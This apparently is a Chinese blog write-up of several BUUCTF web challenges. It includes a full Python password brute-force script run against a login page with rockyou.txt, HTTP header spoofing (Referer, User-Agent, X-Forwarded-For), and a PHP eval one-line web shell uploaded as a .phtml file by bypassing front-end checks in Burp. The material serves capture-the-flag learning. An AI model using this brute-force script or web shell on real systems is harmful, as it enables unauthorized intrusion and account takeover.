buuctf_NSBlogin_http_upload(极客2019+ACTF2020新生赛)
今天做三+1个web
题目:NSB_login

用户名有admin,看源码:

I like rockyou!今天学习到,kali里面有密码爆破的文件叫rockyou.txt(/usr/share/wordlists/)(没kali也可以去https://gitcode.com/Premium-Resources/754e5下载)。
按源码备注提示,那就应该用这个字典进行爆破,burp也行,但佬说容易崩,所以在这用py脚本
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import requests
import json
from requests.adapters import HTTPAdapter
from urllib3.util.retry import Retry
# 目标URL - 确认是否为正确的登录处理地址
url = "http://34c06c2f-cdc1-46e7-bdb4-817ca697d251.node5.buuoj.cn:81/login.php"
# 配置会话
session = requests.Session()
retry_strategy = Retry(
total=3,
backoff_factor=0.1,
status_forcelist=[429, 500, 502, 503, 504]
)
adapter = HTTPAdapter(max_retries=retry_strategy, pool_connections=10, pool_maxsize=10)
session.mount("http://", adapter)
session.mount("https://", adapter)
# 添加常见的请求头,模拟浏览器行为
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
"Referer": url, # 添加来源页,有些服务器会检查
"Connection": "keep-alive"
}
# 先获取登录页面,可能需要获取cookie
try:
session.get(url, headers=headers, timeout=5)
except Exception as e:
print(f"获取登录页面失败: {str(e)}")
with open('D:\\rockyou.txt', 'r', encoding='utf-8', errors='ignore') as f:
i = 0
for line in f:
password = line.strip()
if not password:
continue
data = {
'email': 'admin',
'password': password,
'remember_me': 0
}
try:
# 发送POST请求
response = session.post(url, data=data, headers=headers, timeout=5)
response.encoding = 'utf-8'
# 每500个密码打印一次状态
if i % 500 == 0:
print(f"已尝试 {i} 个密码,当前尝试: {password} (状态码: {response.status_code})")
# 检查状态码
if response.status_code == 405:
print(f"\n服务器拒绝请求 (405),可能需要修改请求方式或URL")
print(f"响应内容: {response.text[:500]}")
break
# 检查是否是成功的响应
if response.status_code == 200:
# 解析响应
try:
result = json.loads(response.text)
# 根据返回的消息判断
if result.get('ret') == 0 and "密码错误" in result['data'].get('msg', ''):
# 密码错误,继续尝试
pass
else:
# 可能是成功的情况
print(f"\n找到正确密码! 第{i}个尝试: {password}")
print(f"响应内容: {result}")
break
except json.JSONDecodeError:
# 非JSON响应,检查是否包含密码错误
if "密码错误" not in response.text:
print(f"\n找到正确密码! 第{i}个尝试: {password}")
print(f"响应内容: {response.text[:500]}")
break
else:
# 其他状态码,可能是成功
print(f"\n找到正确密码! 第{i}个尝试: {password} (状态码: {response.status_code})")
print(f"响应内容: {response.text[:500]}")
break
i += 1
except Exception as e:
print(f"\n请求出错: {str(e)},当前密码: {password}")
continue
else:
print(f"已尝试所有密码({i}个),未找到正确密码")
记得修改上面的url和你真实rockyou.txt的位置。跑了许久(他会报错的,报错后过一会就会跳出Flag),得到:

题目:http


还挺长的一个网页,看看源码。

文件链接,点进去看看

说这不从"https://Sycsecret.buuoj.cn"来,打开burpsuite抓包修改重放下
Referer: https://Sycsecret.buuoj.cn

红框里是新添加的,点击放包看看效果:

那再修改,修改代理,把原先User-Agent修改为题目上述提示的Syclover browser
User-Agent:Syclover browser

得到

No!?说你只能本地看。那把改本地
X-Forwarded-For: 127.0.0.1

得到:

题目:[极客大挑战 2019]Upload
题目如下,看前端源码没有可以注意的东西

我试着上传一张图片(背景.jpg),结果回显:

搜寻资料,建议,先传马,一句话木马:
GIF89a
<script language='php'>eval($_POST['shell']);</script>
写入.txt里,将文件上传,但上传中用BP拦截修改文件

这样就可以成功绕过前端的检查,得到

后面根据这个马,通过蚁剑进行连接。(下图前面多了个http://,记得删)连接地址是"url"/upload/shell.phtml

连接成功后,在根目录找到了flag

点击查看

题目:[ACTF2020 新生赛]Upload
题目如下

打开前端,看看源码

依然是前端验证
传jpg然后BP改成一句话木马,就可以用蚁剑连接了。和上一道([极客大挑战 2019]Upload)一模一样

flag还是在根目录:

更多推荐



所有评论(0)